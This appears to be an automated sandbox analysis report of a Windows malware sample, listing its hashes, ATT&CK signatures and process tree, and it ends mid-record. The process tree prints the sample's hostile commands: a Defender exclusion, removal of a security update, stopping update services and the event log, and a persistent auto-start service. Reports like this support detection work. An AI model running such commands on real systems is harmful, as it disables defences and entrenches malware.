c2e3c86b126ac39e7fccbe2c3e2fd5e9f293dbb88470dfc3c559797e8c29fd08

Analysis

max time kernel
51s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
10/10/2026, 01:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe
Size 170KB
Sample261010-bzpxpsht91
SHA256 c2e3c86b126ac39e7fccbe2c3e2fd5e9f293dbb88470dfc3c559797e8c29fd08
MD5 e71e81ed09742ba55bbff0ff80df7317
SHA1 2c27337d6781a3ac249911e19230dd682a20c3e1
SHA512 2418ac4788ab945907c5576ca45fcb7bc2baa5438454183499dfcf5bc6cd7fcabd44ccb1fcf5f6ea038390e57c6d7ee8a73257f8b19f51d9d07bf186168dcf52
SSDEEP 3072:ud5e+Avc8xT4SBS47rWV2BaL6OuaiN9SCX3yTAQG2E0OldiMwaUjHkEWvX6Df5lt:ud5e+Avc8xT4SBS47rWV2BaL6OuaiN9c
TLSH
T1A6048C2171A2C472D476093084A89EA57A7D7C300FA49EFB23E56A3A4E343D09577FB7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution installer persistence spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3488	powershell.exe
2372	powershell.exe
2012	powershell.exe
1960	powershell.exe
2728	powershell.exe

Downloads MZ/PE file 17 IoCs

flow	pid	Process
10	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe
10	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe
10	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe
10	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe
10	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe
10	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe
10	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe
10	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe
10	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe
10	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe
10	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe
10	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe
10	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe
10	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe
10	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe
10	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe
10	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 15 IoCs

pid	Process
2356	uET8IkErP.exe
1692	NL1pLeKrnO.exe
3528	Q0VPMIvl8U.exe
428	8uC8T0rKcH3.exe
1088	Q0VPMIvl8U.tmp
1304	x9ps8TIV7IDNp.exe
700	p0vMr7Ps9KcT.exe
4092	TxoLaOAK6fQ1.exe
1052	s3uFjqjCP8.exe
4664	z9fsRNKHoD.exe
3220	mBp9lrrs1.exe
5592	MZKNQoTZMw.exe
2748	XSvmi3MT679kS.exe
3916	wETX1077PTa.exe
5748	5yNSisvZ8.exe

Loads dropped DLL 2 IoCs

pid	Process
1088	Q0VPMIvl8U.tmp
1088	Q0VPMIvl8U.tmp

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Power Settings 1 TTPs 16 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
5940	powercfg.exe
5032	powercfg.exe
2680	powercfg.exe
3168	powercfg.exe
1552	powercfg.exe
1704	powercfg.exe
4520	powercfg.exe
3656	powercfg.exe
4456	powercfg.exe
2508	powercfg.exe
4460	powercfg.exe
5096	powercfg.exe
5568	powercfg.exe
5060	powercfg.exe
756	powercfg.exe
5040	powercfg.exe

Launches sc.exe 30 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4804	sc.exe
4192	sc.exe
5476	sc.exe
3984	sc.exe
5524	sc.exe
4256	sc.exe
5564	sc.exe
6060	sc.exe
3400	sc.exe
620	sc.exe
2820	sc.exe
1776	sc.exe
3852	sc.exe
1100	sc.exe
5948	sc.exe
6052	sc.exe
4332	sc.exe
3592	sc.exe
2456	sc.exe
4180	sc.exe
1328	sc.exe
4920	sc.exe
3692	sc.exe
1524	sc.exe
1796	sc.exe
2876	sc.exe
5352	sc.exe
4176	sc.exe
3328	sc.exe
1340	sc.exe

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5404	cmd.exe
2356	cmd.exe
2052	cmd.exe
6036	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Q0VPMIvl8U.tmp
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	NL1pLeKrnO.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	NL1pLeKrnO.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Q0VPMIvl8U.tmp

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NL1pLeKrnO.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Q0VPMIvl8U.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Q0VPMIvl8U.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	XSvmi3MT679kS.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe

Inno Setup is an open-source installation builder for Windows applications. 3 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral2/files/0x000e00000001c47d-46.dat	innosetup
behavioral2/memory/3528-48-0x0000000000D20000-0x0000000000E09000-memory.dmp	innosetup
behavioral2/memory/3528-103-0x0000000000D20000-0x0000000000E09000-memory.dmp	innosetup

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	16	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1692	NL1pLeKrnO.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
3488	powershell.exe
3488	powershell.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe
1692	NL1pLeKrnO.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1692	NL1pLeKrnO.exe
Token: SeDebugPrivilege	3488	powershell.exe
Token: SeIncreaseQuotaPrivilege	3488	powershell.exe
Token: SeSecurityPrivilege	3488	powershell.exe
Token: SeTakeOwnershipPrivilege	3488	powershell.exe
Token: SeLoadDriverPrivilege	3488	powershell.exe
Token: SeSystemProfilePrivilege	3488	powershell.exe
Token: SeSystemtimePrivilege	3488	powershell.exe
Token: SeProfSingleProcessPrivilege	3488	powershell.exe
Token: SeIncBasePriorityPrivilege	3488	powershell.exe
Token: SeCreatePagefilePrivilege	3488	powershell.exe
Token: SeBackupPrivilege	3488	powershell.exe
Token: SeRestorePrivilege	3488	powershell.exe
Token: SeShutdownPrivilege	3488	powershell.exe
Token: SeDebugPrivilege	3488	powershell.exe
Token: SeSystemEnvironmentPrivilege	3488	powershell.exe
Token: SeRemoteShutdownPrivilege	3488	powershell.exe
Token: SeUndockPrivilege	3488	powershell.exe
Token: SeManageVolumePrivilege	3488	powershell.exe
Token: 33	3488	powershell.exe
Token: 34	3488	powershell.exe
Token: 35	3488	powershell.exe
Token: 36	3488	powershell.exe
Token: SeIncreaseQuotaPrivilege	3488	powershell.exe
Token: SeSecurityPrivilege	3488	powershell.exe
Token: SeTakeOwnershipPrivilege	3488	powershell.exe
Token: SeLoadDriverPrivilege	3488	powershell.exe
Token: SeSystemProfilePrivilege	3488	powershell.exe
Token: SeSystemtimePrivilege	3488	powershell.exe
Token: SeProfSingleProcessPrivilege	3488	powershell.exe
Token: SeIncBasePriorityPrivilege	3488	powershell.exe
Token: SeCreatePagefilePrivilege	3488	powershell.exe
Token: SeBackupPrivilege	3488	powershell.exe
Token: SeRestorePrivilege	3488	powershell.exe
Token: SeShutdownPrivilege	3488	powershell.exe
Token: SeDebugPrivilege	3488	powershell.exe
Token: SeSystemEnvironmentPrivilege	3488	powershell.exe
Token: SeRemoteShutdownPrivilege	3488	powershell.exe
Token: SeUndockPrivilege	3488	powershell.exe
Token: SeManageVolumePrivilege	3488	powershell.exe
Token: 33	3488	powershell.exe
Token: 34	3488	powershell.exe
Token: 35	3488	powershell.exe
Token: 36	3488	powershell.exe
Token: SeIncreaseQuotaPrivilege	3488	powershell.exe
Token: SeSecurityPrivilege	3488	powershell.exe
Token: SeTakeOwnershipPrivilege	3488	powershell.exe
Token: SeLoadDriverPrivilege	3488	powershell.exe
Token: SeSystemProfilePrivilege	3488	powershell.exe
Token: SeSystemtimePrivilege	3488	powershell.exe
Token: SeProfSingleProcessPrivilege	3488	powershell.exe
Token: SeIncBasePriorityPrivilege	3488	powershell.exe
Token: SeCreatePagefilePrivilege	3488	powershell.exe
Token: SeBackupPrivilege	3488	powershell.exe
Token: SeRestorePrivilege	3488	powershell.exe
Token: SeShutdownPrivilege	3488	powershell.exe
Token: SeDebugPrivilege	3488	powershell.exe
Token: SeSystemEnvironmentPrivilege	3488	powershell.exe
Token: SeRemoteShutdownPrivilege	3488	powershell.exe
Token: SeUndockPrivilege	3488	powershell.exe
Token: SeManageVolumePrivilege	3488	powershell.exe
Token: 33	3488	powershell.exe
Token: 34	3488	powershell.exe
Token: 35	3488	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4944 wrote to memory of 2356	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe	90
PID 4944 wrote to memory of 1692	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe	92
PID 1692 wrote to memory of 3488	1692	NL1pLeKrnO.exe	93
PID 4944 wrote to memory of 3528	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe	95
PID 4944 wrote to memory of 428	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe	97
PID 3528 wrote to memory of 1088	3528	Q0VPMIvl8U.exe	99
PID 4944 wrote to memory of 1304	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe	101
PID 4944 wrote to memory of 700	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe	104
PID 4944 wrote to memory of 4092	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe	106
PID 4944 wrote to memory of 1052	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe	108
PID 4944 wrote to memory of 4664	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe	110
PID 4944 wrote to memory of 3220	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe	112
PID 4944 wrote to memory of 5592	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe	114
PID 4944 wrote to memory of 2748	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe	116
PID 4944 wrote to memory of 3916	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe	117
PID 4944 wrote to memory of 5748	4944	2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe	119

C:\Users\Admin\AppData\Local\Temp\2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-09_e71e81ed09742ba55bbff0ff80df7317_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat_smoke-loader.exe"
1⤵
- Downloads MZ/PE file
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4944
- C:\Users\Admin\AppData\Roaming\iWP73vl5Ror\uET8IkErP.exe
  "C:\Users\Admin\AppData\Roaming\iWP73vl5Ror\uET8IkErP.exe"
  2⤵
  - Executes dropped EXE
  PID:2356
- C:\Users\Admin\AppData\Roaming\cq7sn6\NL1pLeKrnO.exe
  "C:\Users\Admin\AppData\Roaming\cq7sn6\NL1pLeKrnO.exe"
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1692
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Enc UgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBkAGYAZABmAHMAZABnAGcAZgBnAGQALgBlAHgAZQAnACAALQBBAGMAdABpAG8AbgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAGQAZgBkAGYAcwBkAGcAZwBmAGcAZAAuAGUAeABlACcAKQAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAE8AbgBjAGUAIAAtAEEAdAAgACgARwBlAHQALQBEAGEAdABlACkAIAAtAFIAZQBwAGUAdABpAHQAaQBvAG4ASQBuAHQAZQByAHYAYQBsACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ATQBpAG4AdQB0AGUAcwAgADUAKQApACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQAgAC0AUgB1AG4ATABlAHYAZQBsACAASABpAGcAaABlAHMAdAAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAFMAZQBjAG8AbgBkAHMAIAAwACkAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACkAIAAtAEYAbwByAGMAZQA=
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3488
- C:\Users\Admin\AppData\Roaming\MsCN7y\Q0VPMIvl8U.exe
  "C:\Users\Admin\AppData\Roaming\MsCN7y\Q0VPMIvl8U.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3528
- - C:\Users\Admin\AppData\Local\Temp\is-087X0YU6L8.tmp\Q0VPMIvl8U.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-087X0YU6L8.tmp\Q0VPMIvl8U.tmp" /SL5="$70118,5483486,894976,C:\Users\Admin\AppData\Roaming\MsCN7y\Q0VPMIvl8U.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    PID:1088
- C:\Users\Admin\AppData\Roaming\X8Q9T3zS\8uC8T0rKcH3.exe
  "C:\Users\Admin\AppData\Roaming\X8Q9T3zS\8uC8T0rKcH3.exe"
  2⤵
  - Executes dropped EXE
  PID:428
- C:\Users\Admin\AppData\Roaming\UQwQp6FB\x9ps8TIV7IDNp.exe
  "C:\Users\Admin\AppData\Roaming\UQwQp6FB\x9ps8TIV7IDNp.exe"
  2⤵
  - Executes dropped EXE
  PID:1304
- C:\Users\Admin\AppData\Roaming\4yNt6496nK4\p0vMr7Ps9KcT.exe
  "C:\Users\Admin\AppData\Roaming\4yNt6496nK4\p0vMr7Ps9KcT.exe"
  2⤵
  - Executes dropped EXE
  PID:700
- C:\Users\Admin\AppData\Roaming\21A7rpObJu\TxoLaOAK6fQ1.exe
  "C:\Users\Admin\AppData\Roaming\21A7rpObJu\TxoLaOAK6fQ1.exe"
  2⤵
  - Executes dropped EXE
  PID:4092
- C:\Users\Admin\AppData\Roaming\PlSr3TjewP\s3uFjqjCP8.exe
  "C:\Users\Admin\AppData\Roaming\PlSr3TjewP\s3uFjqjCP8.exe"
  2⤵
  - Executes dropped EXE
  PID:1052
- C:\Users\Admin\AppData\Roaming\8E8OF\z9fsRNKHoD.exe
  "C:\Users\Admin\AppData\Roaming\8E8OF\z9fsRNKHoD.exe"
  2⤵
  - Executes dropped EXE
  PID:4664
- C:\Users\Admin\AppData\Roaming\RCOdUZkj\mBp9lrrs1.exe
  "C:\Users\Admin\AppData\Roaming\RCOdUZkj\mBp9lrrs1.exe"
  2⤵
  - Executes dropped EXE
  PID:3220
- C:\Users\Admin\AppData\Roaming\xG6R6G9vb01\MZKNQoTZMw.exe
  "C:\Users\Admin\AppData\Roaming\xG6R6G9vb01\MZKNQoTZMw.exe"
  2⤵
  - Executes dropped EXE
  PID:5592
- C:\Users\Admin\AppData\Roaming\P8l7aPh\XSvmi3MT679kS.exe
  "C:\Users\Admin\AppData\Roaming\P8l7aPh\XSvmi3MT679kS.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:2748
- C:\Users\Admin\AppData\Roaming\TUL7629Q2U\wETX1077PTa.exe
  "C:\Users\Admin\AppData\Roaming\TUL7629Q2U\wETX1077PTa.exe"
  2⤵
  - Executes dropped EXE
  PID:3916
- C:\Users\Admin\AppData\Roaming\Z65rrf1CZ\5yNSisvZ8.exe
  "C:\Users\Admin\AppData\Roaming\Z65rrf1CZ\5yNSisvZ8.exe"
  2⤵
  - Executes dropped EXE
  PID:5748
- C:\Users\Admin\AppData\Roaming\KMH3OjpOt\l9G0O7cj8.exe
  "C:\Users\Admin\AppData\Roaming\KMH3OjpOt\l9G0O7cj8.exe"
  2⤵
  PID:3360
- C:\Users\Admin\AppData\Roaming\jNFqFRwqzdO\rR7m68vQ4.exe
  "C:\Users\Admin\AppData\Roaming\jNFqFRwqzdO\rR7m68vQ4.exe"
  2⤵
  PID:5756
- - C:\Users\Admin\AppData\Local\Temp\544f866d36c2b451432c524abb2d347c.exe
    C:\Users\Admin\AppData\Local\Temp\544f866d36c2b451432c524abb2d347c.exe
    3⤵
    PID:4544
  - - C:\Program Files (x86)\Internet Explorer\lsass.exe
      "C:\Program Files (x86)\Internet Explorer\lsass.exe"
      4⤵
      PID:2868
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe
        5⤵
        
        PID:2080
      - C:\Windows\SysWOW64\ReAgentc.exe
        
        "C:\Windows\system32\ReAgentc.exe" /disable
        6⤵
        
        PID:5672
    - - C:\Program Files (x86)\Microsoft\Edge\Application\lsass.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\lsass.exe" -
        5⤵
        
        PID:4832
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Executes a command shell one-liner
    PID:5404
  - - C:\Windows\System32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:6084
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4192
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1340
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop wuauserv
    3⤵
    - Launches sc.exe
    PID:5476
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop bits
    3⤵
    - Launches sc.exe
    PID:1776
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop dosvc
    3⤵
    - Launches sc.exe
    PID:1796
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    PID:2508
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    PID:756
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    PID:4520
- - C:\Windows\system32\powercfg.exe
    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    PID:1704
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "DIEOJVPB"
    3⤵
    - Launches sc.exe
    PID:3852
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "DIEOJVPB" binpath= "C:\ProgramData\cmyjpeliidbh\koydpfrviquw.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:2876
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:3400
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "DIEOJVPB"
    3⤵
    - Launches sc.exe
    PID:5948

C:\Users\Admin\AppData\Roaming\jNFqFRwqzdO\rR7m68vQ4.exe
C:\Users\Admin\AppData\Roaming\jNFqFRwqzdO\rR7m68vQ4.exe
1⤵
PID:964

C:\ProgramData\cmyjpeliidbh\koydpfrviquw.exe
C:\ProgramData\cmyjpeliidbh\koydpfrviquw.exe
1⤵
PID:3160
- C:\Windows\system32\config\systemprofile\AppData\Roaming\fxwwdbndda\p2izxj.exe
  C:\Windows\system32\config\systemprofile\AppData\Roaming\fxwwdbndda\p2izxj.exe
  2⤵
  PID:1924
- - C:\Windows\SystemTemp\544f866d36c2b451432c524abb2d347c.exe
    C:\Windows\SystemTemp\544f866d36c2b451432c524abb2d347c.exe
    3⤵
    PID:2404
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Executes a command shell one-liner
    PID:2356
  - - C:\Windows\System32\wusa.exe
      wusa /uninstall /kb:890830 /quiet /norestart
      4⤵
      PID:1164
- - C:\Windows\system32\sc.exe
